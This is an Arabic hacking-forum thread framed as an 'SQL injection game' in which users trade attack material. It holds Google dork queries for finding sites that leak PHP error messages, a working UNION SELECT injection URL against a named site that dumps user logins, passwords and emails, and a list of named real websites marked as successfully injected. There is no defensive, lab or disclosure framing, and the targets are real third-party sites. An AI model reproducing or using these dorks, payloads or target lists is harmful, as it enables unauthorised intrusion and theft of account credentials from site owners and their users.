لعبة اختراق المواقع SQL 1nj3ct!on

[align=center]و هذه بعض الكلمات للبحث عن المواقع المصابة[/align]
[align=center]

inurl:"id=" & intext:"Warning: mysql_fetch_assoc()

inurl:"id=" & intext:"Warning: mysql_fetch_array()

inurl:"id=" & intext:"Warning: mysql_num_rows()

inurl:"id=" & intext:"Warning: session_start()

inurl:"id=" & intext:"Warning: getimagesize()

inurl:"id=" & intext:"Warning: is_writable()

inurl:"id=" & intext:"Warning: getimagesize()

inurl:"id=" & intext:"Warning: Unknown()

inurl:"id=" & intext:"Warning: session_start()

inurl:"id=" & intext:"Warning: mysql_result()

inurl:"id=" & intext:"Warning: pg_exec()

inurl:"id=" & intext:"Warning: mysql_result()

inurl:"id=" & intext:"Warning: mysql_num_rows()

inurl:"id=" & intext:"Warning: mysql_query()

inurl:"id=" & intext:"Warning: array_merge()

inurl:"id=" & intext:"Warning: preg_match()

inurl:"id=" & intext:"Warning: ilesize()

inurl:"id=" & intext:"Warning: filesize()

inurl:"id=" & intext:"Warning: require()

السلام عليكم
فكرة رائعة
+
جاري الحقن

الحقنة الاخيرة
http://www.gestimhfr.fr/detail_annonce.php?ID=-10039 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,group_concat(i d_user,0x3a,login,0x3a,mdp,0x3a,mail),17,18,19,20, 21,22,23,24,25,26,27+from+utilisateur--

[align=center]يعطيك العافيه فكرة جميله
[/align]

أعتقد فكرة الموضوع مشابه لفكرة موضوع المشرف _darkman_

العدد (3) من غرفة الحقن

مشكور على الطرح

[align=right][/align]مواقع مصابه في sql :P يلا نلعب
[align=center]
http://www.lcoastpress.com/journal.php?id='7

http://www.designforfun.com/display.php?id='99
http://www.spatialinformationdesignlab.org/projects.php?id='16
http://www.choices.edu/resources/detail.php?id='55 <== SQL Injection Success !
http://www.choices.edu/resources/detail.php?id='45 <== SQL Injection Success !
http://www.utahrealestateguide.org/profile_view.php?id='858
***12288;
http://www.artsmia.org/viewer/detail.php?id='5368&v='12
http://www.ebambi.com/profile_view.php?id='100000008 <== SQL Injection Success !
http://www.ebambi.com/profile_view.php?id='100000226 <== SQL Injection Success !
http://www.ebambi.com/profile_view.php?id='100000003 <== SQL Injection Success !
http://curshi.com/profile_view.php
***12288;
http://v1.filmpaylasalim.com/profile_view.php?id='418
http://www.crazybad.it/AnCeStrAlWoRld/profile_view.php?id='98